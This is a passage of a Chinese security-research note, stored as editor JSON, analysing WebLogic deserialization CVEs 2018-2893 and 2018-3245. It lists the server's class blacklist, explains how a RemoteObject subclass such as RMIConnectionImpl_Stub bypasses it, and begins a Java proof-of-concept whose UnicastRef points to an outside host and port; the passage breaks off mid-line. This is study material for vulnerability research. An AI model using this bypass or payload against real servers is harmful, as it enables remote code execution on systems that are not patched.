{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JQNM-1677058246984&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1fdP-1677058246983&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeMode();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Va4w-1677058246986&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rxtf-1677058246985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (JMSException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wn0s-1677058246988&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1qUD-1677058246987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new AssertionError(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V8Di-1677058246990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GFYz-1677058246989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dPjR-1677058246992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GsFK-1677058246991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B3SA-1677058246994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mIJU-1677058246993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.payload = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GqRY-1677058246996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s5ja-1677058246995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7UEq-1677058246998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iku8-1677058246997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new AssertionError();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iHkc-1677058247000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f9uS-1677058246999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gjVf-1677058247002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YcJs-1677058247001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GRdq-1677058247004&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WKMP-1677058247003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P1Ul-1677058247006&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8irP-1677058247005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void setDataBuffer(byte[] object, int length) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QRIb-1677058247008&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kDz5-1677058247007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;koh8-1677058247010&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ueHI-1677058247009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yfHG-1677058247012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tVhT-1677058247011&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s437-1677058313214&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6037/WEBRESOURCEff35b54631e3fd4f364694dc6375fd6c&#34;,&#34;width&#34;:548,&#34;height&#34;:192},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6037/WEBRESOURCEff35b54631e3fd4f364694dc6375fd6c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:548,&#34;height&#34;:536},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JiKz-1677059095760&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BC8t-1677059095758&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2018-2893&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5dqb-1677052922805&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N2at-1677052922804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库，就不赘述了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QAEc-1677118179888&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8q3I-1677118179886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时黑名单进行了更新：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1b2R-1677118416580&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;wrap&#34;:true,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdMs-1677118416577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YXJa-1677118416576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private static final String[] DEFAULT_BLACKLIST_PACKAGES = { \&#34;org.apache.commons.collections.functors\&#34;, \&#34;com.sun.org.apache.xalan.internal.xsltc.trax\&#34;, \&#34;javassist\&#34;, \&#34;java.rmi.activation\&#34;, \&#34;sun.rmi.server\&#34; };&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vYmC-1677118416579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVIH-1677118416578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONNN-1677118419036&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SFOz-1677118419034&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private static final String[] DEFAULT_BLACKLIST_CLASSES = { \&#34;org.codehaus.groovy.runtime.ConvertedClosure\&#34;, &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ssxn-1677118570533&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l9CS-1677118570531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;org.codehaus.groovy.runtime.ConversionHandler\&#34;, &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5oks-1677118571945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Mc0-1677118571944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;org.codehaus.groovy.runtime.MethodClosure\&#34;, \&#34;org.springframework.transaction.support.AbstractPlatformTransactionManager\&#34;,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IS99-1677118573842&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NOKE-1677118573840&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;java.rmi.server.UnicastRemoteObject\&#34;, &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M0r5-1677118575449&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yOa7-1677118575448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;java.rmi.server.RemoteObjectInvocationHandler\&#34; };&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PtpL-1677118180203&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBzv-1677118180202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;新增&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y55B-1677118587601&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdm3-1677118587594&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zNeu-1677118587593&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java.rmi.activation.*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zXFZ-1677118587596&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k9yX-1677118587595&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sun.rmi.server.*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QIhW-1677118587598&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2qHv-1677118587597&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java.rmi.server.RemoteObjectInvocationHandler&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Bzo-1677118587600&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SURv-1677118587599&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java.rmi.server.UnicastRemoteObject&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;markdown&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSww-1676858105412&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Evj-1676858105413&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sZLD-1677118813643&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGzP-1677118813641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2018-3245&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7qRH-1677119045959&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HdLM-1677119045960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中有提到新增黑名单包名/类名：&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.activation.*,sun.rmi.server.*&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;,&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.server.RemoteObjectInvocationHandler&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;,&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.server.UnicastRemoteObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jz1J-1677118593624&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0QFp-1677118593623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;但对我们完整的反序列化流程中真正有影响的只有&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.server.RemoteObjectInvocationHandler类的使用，若有一个类满足：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WBZj-1677119416591&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cgGX-1677119416589&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;1.不在黑名单中&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;023H-1677119496948&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTfU-1677119496946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;2.继承自java.rmi.server.RemoteObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DHJL-1677119428702&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i1Yy-1677119428700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;3.readObject逻辑未重写，或不影响readExtenal方法调用&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZDnt-1677119530692&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZMez-1677119530690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;即可绕过黑名单检测。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d0pt-1677141104981&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6086/WEBRESOURCE00bef8cfee357733229ac6e7296008ca&#34;,&#34;width&#34;:346,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6086/WEBRESOURCE00bef8cfee357733229ac6e7296008ca&#34;,&#34;initialSize&#34;:{&#34;width&#34;:346,&#34;height&#34;:1102},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ag5d-1677059361197&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QMEd-1677059361195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;随便找一个都行，比如RMIConnectionImpl_Stub&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LLpN-1677142944277&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a7h0-1677142944203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LTEY-1677142944202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iHm5-1677142944205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rWKL-1677142944204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.server.UnicastRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4DIg-1677142944207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aa6l-1677142944206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.LiveRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IfDM-1677142944209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LGRt-1677142944208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.tcp.TCPEndpoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GuVm-1677142944211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IMMN-1677142944210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iiJ8-1677142944213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f5MY-1677142944212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.management.remote.rmi.RMIConnectionImpl_Stub;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fGoV-1677142944215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j4a9-1677142944214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OgXc-1677142944221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Snw9-1677142944220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.ObjID;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ph5s-1677142944226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UxG8-1677142944224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ieuf-1677142944228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ykR-1677142944227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Random;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2lTp-1677142944230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wbw6-1677142944229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7LP-1677142944232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uBB7-1677142944231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2018_3245 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jfww-1677142944234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3FDj-1677142944233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getObject() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UPjf-1677142944236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BhSB-1677142944235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID(new Random().nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Pt9-1677142944238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HoZB-1677142944237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint tcpEndpoint = new TCPEndpoint(\&#34;10.51.52.245\&#34;, 6666);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S4ap-1677142944240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CtSY-1677142944239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nZnb-1677142944242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L2NZ-1677142944241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RMIConnectionImpl_Stub stub = new 